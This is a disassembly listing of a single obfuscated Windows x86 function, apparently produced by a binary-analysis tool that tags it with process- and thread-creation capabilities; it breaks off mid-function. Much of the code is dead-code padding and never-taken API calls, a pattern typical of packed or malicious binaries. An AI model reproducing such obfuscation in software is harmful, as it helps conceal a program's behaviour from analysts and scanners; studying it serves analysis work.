Function at 0x430ad3
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 0x31], dl
push 4
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x30], edi
call fcn.00430760
xor ebx, ebx
lea ecx, [ebp - 0x194]
inc ebx
push ebx
call fcn.00430760
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x430b1a
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1a0]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x430b0a
mov dword [ebp - 8], eax
jmp 0x430b38
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], 0xa32b1cec
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x430b25
mov edx, dword [ebp - 0x194]
mov esi, dword [ebp - 0x1a0]
push 3
pop eax
mov dword [edx], eax
mov ecx, dword [edx]
mov eax, 0x843046b6
cmp eax, dword [esi + ecx*4]
sbb eax, eax
inc eax
mov dword [esi + ecx*4], eax
dec dword [edx]
jns 0x430b4e
lea ecx, [ebp - 0x194]
call fcn.00430832
lea ecx, [ebp - 0x1a0]
call fcn.00430832
push 2
pop ebx
push ebx
lea ecx, [ebp - 0xb4]
call fcn.00430760
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], eax
jmp 0x430ba4
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx + edx*4], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x430b91
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x430c69
mov dword [ebp - 8], eax
jmp 0x430bc7
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x44], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x430bbd
mov dword [ebp - 8], eax
jmp 0x430bde
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x1d8], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x430bd1
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], eax
jl 0x430c5d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x430c15
push eax
push pe_nt_image_headers32
push 0x1c98
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
xor eax, eax
mov edi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xb4]
mov esi, dword [ebp - 0xb4]
mov ecx, dword [ecx + edx*4]
mov dword [esi + edi*4], ecx
test ecx, ecx
je 0x430c99
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], eax
jmp 0x430c50
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx + edx*4], 0x4dfb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x430c3d
xor esi, esi
inc esi
dec dword [ebp - 0x44]
jns 0x430beb
dec dword [ebp - 0x1c]
jns 0x430bb8
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 0xb4]
call fcn.00430832
mov dword [ebp - 0x24], 0xac8b13ec
xor eax, eax
mov dword [ebp - 0x20], 0x76e5b14f
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], 0xfff7
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], eax
jmp 0x430e59
mov dword [ebp - 0xc], eax
jmp 0x430caf
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x158], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x430c9e
xor esi, esi
mov dword [ebp - 0x14c], eax
inc esi
jmp 0x430ce8
mov dword [ebp - 0xc], 6
mov dword [ebp - 0xc], eax
jmp 0x430cdd
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xb4]
cmp dword [ecx + edx*4], eax
jne 0x430ce2
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jle 0x430ccc
inc dword [ebp - 0x14c]
cmp dword [ebp - 0x14c], esi
jle 0x430cc0
mov ecx, dword [ebp - 0x1d8]
jmp 0x430c58
mov dword [ebp - 0x1c], 0x48708ef6
mov dword [ebp - 0x28], 0x1401cea
mov dword [ebp - 0xc], eax
jmp 0x430d1f
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0xbc], 0x77dd6887
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x430d0e
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x430e56
push ebx
lea ecx, [ebp - 0x128]
call fcn.00430760
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x430d54
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x1c4], 0xb263
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x430d43
mov dword [ebp - 8], eax
jmp 0x430d71
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x128]
mov dword [ecx + edx*4], 0x6cc9ca31
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x430d5e
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xbc]
mov esi, dword [ebp - 0x128]
setl dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x1c]
setle bl
mov dword [ebp - 0x40], ebx
xor ebx, ebx
cmp dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x1c4]
setge bl
xor edx, edx
cmp ebx, ecx
setg dl
xor ecx, ecx
cmp edx, dword [esi + 4]
setl cl
xor edx, edx
cmp ecx, 0x4faf
mov ecx, dword [ebp - 0x18]
setl dl
xor ebx, ebx
cmp edx, 2
mov dword [esi + 4], edx
sete bl
xor edx, edx
cmp ecx, ebx
mov ecx, dword [ebp - 0x20]
setg dl
cmp edx, 0x9a54e587
sbb esi, esi
xor edx, edx
neg esi
cmp esi, ecx
setl dl
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x20]
add ecx, 0xffff
jne 0x430dfc
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
mov ecx, dword [ebp + ecx*4 - 0xbc]
mov ecx, dword [ebp - 0x14]
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x3c94
mov ecx, dword [ebp - 0x18]
setge bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0x1c]
setne dl
mov dword [ebp + ecx*4 - 0xbc], edx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x128]
cmp dword [ebp - 0x28], eax
call fcn.00430832
dec dword [ebp - 0x1c]
push 2
pop ebx
jns 0x430d30
xor esi, esi
xor eax, eax
inc esi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff6
jge 0x430cfb
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x430e79
push 0x1956
call dword [sym.imp.USER32.dll_GetSystemMetrics]
xor eax, eax
push dword [ebp + 8]
movdqa xmm0, xmmword [0xaa31b0]
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x20], 0xe1757117
push ecx
push eax
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], eax
movdqu xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
call fcn.004308a3
push esi
lea ecx, [ebp - 0x1e4]
call fcn.00430760
xor ecx, ecx
mov dword [ebp - 0xc], ecx
jmp 0x430ee5
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1e4]
mov dword [eax + edx*4], 0x1208373b
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x430ed2
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0xffffffe8
jge 0x43101f
push 3
pop edi
mov dword [ebp - 0xc], 0xd4351cdc
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x38], 0xe9c96c79
mov dword [ebp - 0x38], edi
push edi
call fcn.00430760
mov dword [ebp - 0x38], 0xfc0549ec
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x38], 0xbb489f7a
push ebx
call fcn.00430760
xor eax, eax
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 8], eax
jmp 0x430f52
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1d0]
mov dword [ecx + edx*4], 0xa2b441a6
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x430f3f
mov dword [ebp - 8], eax
jmp 0x430f6f
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1f0]
mov dword [ecx + edx*4], 0xfffffff6
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x430f5c
mov dword [ebp - 8], eax
jmp 0x430f8a
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x244], 0x63530054
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x430f79
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jg 0x430ff6
mov ecx, 0x9b7928fb
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0xe4], edi
cmp dword [ebp - 0xe4], eax
jl 0x430fee
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x430fe1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
xor eax, eax
dec dword [ebp - 0xe4]
jns 0x430fc2
mov ecx, 0x9b7928fb
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jle 0x430f9c
dec dword [ebp - 0x24]
lea ecx, [ebp - 0x1f0]
call fcn.00430832
lea ecx, [ebp - 0x1d0]
call fcn.00430832
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe8
jl 0x430efa
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 0x1e4]
call fcn.00430832
lea ecx, [ebp - 0x140]
call fcn.00430832
mov ecx, dword [ebp + 8]
xor eax, eax
mov ebx, dword [0x4ae9fc]
mov dword [ebp - 0x38], 0x7862
mov byte [ebp - 0xd], al
mov dword [ebp - 0x40], ebx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
cmp byte [ebp - 0xd], al
je 0x431070
push 0x19d
push 0x1667
push eax
call dword [sym.imp.USER32.dll_RemoveMenu]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4310ab
push 0x1c5c
push 0x24ac
push 0x23a5
push 0x1520
push 0xa9
push 0x2289
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
cmp byte [ebp - 0x31], 0
je 0x4311f9
cmp ebx, esi
jne 0x4311f9
push esi
lea ecx, [ebp - 0x17c]
call fcn.00430760
xor ecx, ecx
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0xc], ecx
jmp 0x4310ea
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x17c]
mov dword [eax + edx*4], 0x2ee76f50
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x4310d7
mov byte [ebp - 0xd], cl
cmp byte [ebp - 0xd], cl
je 0x4310fd
call dword [sym.imp.GDI32.dll_GdiFlush]
mov eax, dword [ebp - 0x17c]
lea ecx, [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
call fcn.00430832
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x188]
push 2
mov dword [ebx + 8], 4
call fcn.00430760
mov dword [ebp - 0xa8], esi
xor eax, eax
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0xc], eax
jmp 0x43115c
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x188]
mov dword [ecx + edx*4], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x431149
mov dword [ebp - 0x9c], eax
jmp 0x4311dc
mov dword [ebp - 8], 0x444696a4
mov dword [ebp - 8], esi
cmp dword [ebp - 8], eax
jl 0x4311b1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4311ac
push 0x25b1
push 0x1767
push 0x1e9f
push 0x1c3e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
xor eax, eax
dec dword [ebp - 8]
jns 0x431179
mov dword [ebp - 8], eax
jmp 0x4311d1
mov ecx, dword [ebp - 0x9c]
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 0x188]
mov ecx, dword [edx + ecx*4]
mov dword [edx + esi*4], ecx
xor esi, esi
inc dword [ebp - 8]
inc esi
cmp dword [ebp - 8], esi
jle 0x4311b6
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], esi
jle 0x43116a
lea ecx, [ebp - 0x188]
call fcn.00430832
mov dword [ebx + 0xc], 0x4ae9fc
mov ebx, dword [ebp - 0x40]
mov dword [ebp - 0x20], esi
xor eax, eax
mov dword [ebp - 0x20], 0xd
cmp dword [ebp - 0x20], 0xffffffe5
jg 0x43125b
mov edx, 0x693e
mov dword [ebp - 0xc], 0x94a18885
mov dword [ebp - 0x28], 6
mov dword [ebp - 0xc], eax
jmp 0x43124c
mov dword [ebp - 0x1b0], edx
mov dword [ebp - 0x1ac], edx
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 0x1a4], edx
mov ecx, dword [ebp - 0x1ac]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x10
jne 0x431223
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe5
jle 0x431210
cmp edi, ebx
jge 0x43237b
push 3
pop ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], eax
jmp 0x43127f
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x50], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x431271
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
jg 0x4314c1
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x1c], esi
push esi
call fcn.00430760
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x4312bd
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1bc]
mov dword [ecx + edx*4], 0x88485bdf
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x4312aa
mov ecx, dword [ebp - 0x4c]
cmp dword [ebp - 0x50], eax
jne 0x4312dd
mov dword [ebp - 0x18], 0xc1b0
cmp dword [ebp - 0x18], eax
je 0x4312dd
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x50]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x50]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x50]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x48]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
setge bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 8]
setle dl
imul esi, edx
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x50]
cmp esi, ecx
setl dl
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], eax
je 0x431336
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x50]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x50]
mov ecx, dword [ebp - 8]
cmp dword [ebp + ecx*4 - 0x50], eax
je 0x431352
cmp dword [ebp - 0x18], eax
je 0x431352
xor esi, esi
inc esi
mov edx, esi
jmp 0x431357
xor esi, esi
mov edx, eax
inc esi
mov ecx, dword [ebp - 8]
xor ebx, ebx
cmp edx, 0xfffffffb
setne bl
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x50]
sub ebx, ecx
mov ecx, dword [ebp - 8]
cmp ebx, ecx
mov ecx, dword [ebp - 8]
setg dl
imul edx, dword [ebp + ecx*4 - 0x50]
test edx, edx
je 0x4313f6
mov dword [ebp - 0xc], 0xffff
mov dword [ebp - 0x28], 0xb5f277f1
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x43144a
xor eax, eax
inc eax
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0xf961dfa2
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, ecx
setl dl
xor ebx, ebx
imul edx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
add edx, 0xffff2ba2
cmp edx, ecx
setl bl
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
dec dword [ebp - 0x18]
jns 0x43139f
jmp 0x431448
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x20], 0xb2d3
cmp dword [ebp - 0x20], eax
jne 0x43140a
cmp dword [ebp - 0x1c], eax
je 0x431410
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
cmp edx, ecx
setge bl
add ebx, dword [ebp - 0x20]
cmp dword [ebp - 0xc], ebx
je 0x431435
cmp dword [ebp - 0x18], eax
je 0x431435
mov dword [ebp - 0xc], eax
jmp 0x43144a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x43144a
push 0x36d
call dword [sym.imp.KERNEL32.dll_TlsFree]
xor eax, eax
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x4314a0
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
jmp 0x431495
mov dword [ebp - 0x14], eax
jmp 0x43148c
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x431489
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x431469
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x431464
dec dword [ebp - 0x1c]
jns 0x431456
lea ecx, [ebp - 0x1bc]
call fcn.00430832
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
push 0
pop eax
push 1
pop esi
jle 0x431291
push 3
pop ebx
mov dword [ebp - 8], 0xffffffff
mov edi, 0x4aea00
mov dword [ebp - 8], eax
jmp 0x43152c
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], 0xa8afc1da
mov dword [ebp - 0xc], eax
jmp 0x4314f2
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x23c], 0xf251d69f
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x4314e1
mov dword [ebp - 0xc], 2
cmp dword [ebp - 0xc], eax
jl 0x43150d
cmp dword [ebp - 8], eax
jne 0x43150d
dec dword [ebp - 0xc]
jns 0x431503
mov ecx, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp - 8]
cmp ecx, esi
setge dl
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0xc], ecx
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jg 0x4314d2
cmp dword [ebp - 0x30], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x28], eax
jle 0x431b18
mov dword [ebp - 8], eax
jmp 0x43155b
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x26c], 0xfffffff9
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x43154a
mov dword [ebp - 8], eax
jmp 0x431577
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x25c], 0x71c7bf0b
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x431566
mov dword [ebp - 8], eax
jmp 0x431592
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x148], 2
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x431581
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4315a8
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
dec dword [ebp - 0x148]
lea ecx, [ebp - 0x164]
mov eax, dword [edi]
push 2
mov dword [ebp - 0x2c], eax
call fcn.00430760
push dword [ebp + 8]
movdqa xmm0, xmmword [0xaa31a0]
lea ecx, [ebp - 0x210]
push ecx
xor eax, eax
lea ecx, [ebp - 0x220]
push ecx
push eax
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x11c], eax
movdqu xmmword [ebp - 0x220], xmm0
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
call fcn.004308a3
xor ecx, ecx
mov dword [ebp - 0xc], ecx
jmp 0x431617
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x164]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x431608
mov eax, dword [ebp - 0x164]
lea ecx, [ebp - 0x11c]
mov dword [eax + 4], 0x15
call fcn.00430832
lea ecx, [ebp - 0x164]
call fcn.00430832
push dword [ebp + 8]
movdqa xmm0, xmmword [0xaa31a0]
lea ecx, [ebp - 0x200]
push ecx
xor eax, eax
mov dword [ebp - 0xc], 7
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x78], eax
push ecx
add edi, 4
mov dword [ebp - 0x74], eax
push eax
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x1c], edi
movdqu xmmword [ebp - 0x210], xmm0
mov dword [ebp - 0x70], eax
call fcn.004308a3
mov dword [ebp - 0xc], 0x1a
cmp dword [ebp - 0xc], 0x12
je 0x4317ff
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 8], 5
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4316be
push eax
push eax
push eax
push eax
push 0xb3b
push edi
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x4317e2
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], 0x9cea
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x4317ce
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], 0xd91f06e8
mov dword [ebp - 0x18], eax
jmp 0x431747
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x78]
cmp dword [ecx + edx*4], eax
jne 0x431727
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
sub ecx, 0xcced
imul ecx, dword [ebp - 0x20]
imul edx, ecx, 0x578
mov ecx, dword [ebp - 0x78]
sub edx, dword [ecx + esi*4]
je 0x43172e
mov esi, edi
cmp dword [ebp - 0xc], eax
jne 0x431730
mov esi, eax
mov edx, dword [ebp - 0x18]
xor ebx, ebx
mov ecx, dword [ebp - 0x78]
push 3
cmp esi, dword [ecx + edx*4]
sete bl
mov dword [ebp - 0x14], ebx
inc dword [ebp - 0x18]
pop ebx
cmp dword [ebp - 0x18], ebx
jle 0x4316ef
mov dword [ebp - 0x24], 0x19
jmp 0x4317bf
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x431774
push eax
push 0x13fa
push eax
push eax
push 0xc0
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x4317b7
mov dword [ebp - 0x18], 0x5a60c437
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x20]
push 3
add esi, dword [ecx + edx*4]
xor edx, edx
mov ecx, dword [ebp - 8]
cmp ecx, esi
setl dl
xor ebx, ebx
cmp edx, edi
setl bl
xor edx, edx
imul ebx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
cmp ebx, ecx
pop ebx
setge dl
mov dword [ebp - 0x18], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x431779
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffee
jl 0x431755
dec dword [ebp - 0x20]
jns 0x4316dc
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4317df
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor eax, eax
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffe3
jle 0x4316c6
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x12
jne 0x431698
mov edi, dword [ebp - 0x1c]
xor esi, esi
inc esi
lea ecx, [ebp - 0x78]
call fcn.00430832
mov eax, dword [edi]
add edi, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], 0xa7e9
mov dword [ebp - 8], 0xc7a2e428
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0xc], 0xde0f4c9f
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffed
mov dword [ebp - 0x1c], edi
jl 0x431962
push 2
lea ecx, [ebp - 0xf8]
call fcn.00430760
mov dword [ebp - 0x24], 0xfffa
xor eax, eax
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0xc], 0xd3b51a
mov dword [ebp - 0xc], 0x5fe57b6a
mov dword [ebp - 0xc], eax
jmp 0x43187f
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xf8]
mov dword [ecx + edx*4], 6
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x43186c
mov edi, dword [ebp - 0xf8]
xor ecx, ecx
mov esi, dword [edi + 4]
cmp esi, dword [edi]
setg cl
xor edx, edx
cmp ecx, 1
mov ecx, dword [ebp - 0x14]
setge dl
xor ebx, ebx
cmp edx, 0x4b74
setle bl
sub ebx, esi
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, ecx
mov ecx, dword [ebp - 0x14]
mov esi, dword [edi + 4]
setg dl
xor ebx, ebx
cmp edx, dword [edi + 4]
setle bl
xor edx, edx
add ecx, ebx
cmp ecx, dword [edi + 4]
mov ecx, dword [ebp - 0x20]
setle dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0xf8]
sete bl
xor edx, edx
cmp ebx, dword [ecx]
setne dl
cmp edx, esi
jge 0x4318f4
test esi, esi
jne 0x4318f4
mov edx, eax
jmp 0x4318f7
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xc], edx
mov esi, dword [ebp - 0xc]
sub esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
neg esi
sbb esi, esi
xor edx, edx
inc esi
sub esi, dword [edi + 4]
cmp ecx, esi
setg dl
cmp edx, dword [ebp - 8]
jge 0x431929
cmp dword [ebp - 8], eax
je 0x431929
xor esi, esi
inc esi
mov eax, esi
jmp 0x43192c
xor esi, esi
inc esi
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov eax, dword [ebp - 0xc]
cmp eax, 0x481d
mov eax, dword [edi + 4]
setl cl
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0xc], eax
call fcn.00430832
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffed
jge 0x43183c
mov edi, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x18], 0
jne 0x43196b
add edi, 8
push 0xfffffffffffffffb
mov dword [ebp - 0xc], 9
pop edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 8], eax
jmp 0x43198b
mov ecx, dword [ebp - 8]
